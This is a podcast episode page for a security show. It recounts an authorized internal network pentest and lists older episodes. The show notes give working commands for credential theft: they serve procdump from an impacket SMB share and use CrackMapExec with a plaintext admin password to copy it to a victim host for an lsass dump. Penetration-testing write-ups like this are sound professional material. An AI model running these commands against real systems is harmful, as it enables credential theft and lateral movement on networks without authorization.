7MS #383: Tales of Internal Network Pentest Pwnage - Part 10

7MS #383: Tales of Internal Network Pentest Pwnage - Part 10

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!

This episode is a "sequel" of sorts to part 9 where I was helping another company tag-team an internal network pentest. (In announcer voice) "When we last left our heroes we had..."

  • Relayed one high-priv cred from one box to another
  • Dumped and cracked a local machine's hash
  • Passed that hash around the network
  • Found (via Bloodhound) some high value targets we wanted to grab domain admin creds from
  • Set the wdigest flag via CrackMapExec

Today, we talk about how we came back to the pentest a few days later and scripted the procdump/lsass operation to (hopefully) grab cleartext credentials from these high value targets. Here's how we did it:

mkdir /share wget https://live.sysinternals.com/procdump64.exe screen -R smb /opt/impacket/examples/smbserver.py -smb2support share /share

Then, we ran the following CME commands to copy procdump over to the victim machine, create the dump, take the dump, then delete procdump.exe:

crackmapexec smb 192.168.55.220 -u Administrator -p 'Winter2018!' --local-auth --exec-method smbexec -x 'copy "\\192.168.55.60\share\procdump64.exe" "c:\users\public\procdump64.exe"' (more on today's episode show notes)

Episoder(687)

7MS #110: Hacking WPA Enterprise-Part 1

7MS #110: Hacking WPA Enterprise-Part 1

This episode is about my experience hacking WPA enterprise. Huge mega tiger uppercut thanks to this site for giving me the fixes I needed to get this working on Kali2! https://warroom.securestate.com/index.php/evil-twin-attack-using-hostapd-wpe/

17 Nov 20158min

7MS #109: OFFTOPIC-It Follows and Backcountry

7MS #109: OFFTOPIC-It Follows and Backcountry

Movie reviews of It Follows and Backcountry.

13 Nov 20157min

7MS #108: I'm Going to PWAPT!-Part 2

7MS #108: I'm Going to PWAPT!-Part 2

Here's part 2 (of probably several to come) about my experience with PWAPT (Practical Webapp Pentesting) training last week!

11 Nov 201510min

7MS #107: I'm Going to PWAPT!

7MS #107: I'm Going to PWAPT!

Hey I'm going to PWAPT this week (http://www.eventbrite.com/e/practical-web-application-penetration-testing-with-tim-tomes-lanmaster53-tickets-16718889649), so in this episode I talk about that...and how I'll probably be too info-overloaded to record anything on Thursday :-). Oh, and I had a fun Web app pentest this week that I wanted to share some fun bits on.

3 Nov 20157min

7MS #106: A Day in the Life of an Information Security Analyst

7MS #106: A Day in the Life of an Information Security Analyst

A listener wrote in asking some questions about "a day in the life of" a security analyst, so here's my best stab at it!

30 Okt 201510min

7MS #105: OFFTOPIC-Big Bag of Random Sauce

7MS #105: OFFTOPIC-Big Bag of Random Sauce

Today's totally random episode covers: 1. How bad does this podcast's logo suck? 2. Does this podcast need a theme song? 3. Some interesting training I'm taking next week. 4. The Walking Dead - who should die? 5. Metal Gear Solid and my personal godmode strategy.

28 Okt 20159min

7MS #104: LANTurtle First Impressions

7MS #104: LANTurtle First Impressions

Hey I just got a LANTurtle and....these are my first impressions!

22 Okt 20157min

7MS #103: OFFTOPIC-I Was in a Movie Once

7MS #103: OFFTOPIC-I Was in a Movie Once

This is an off-topic episode about the time I was in the holiday comedy super-smash laugh-fest, Jingle All the Way.

20 Okt 20157min

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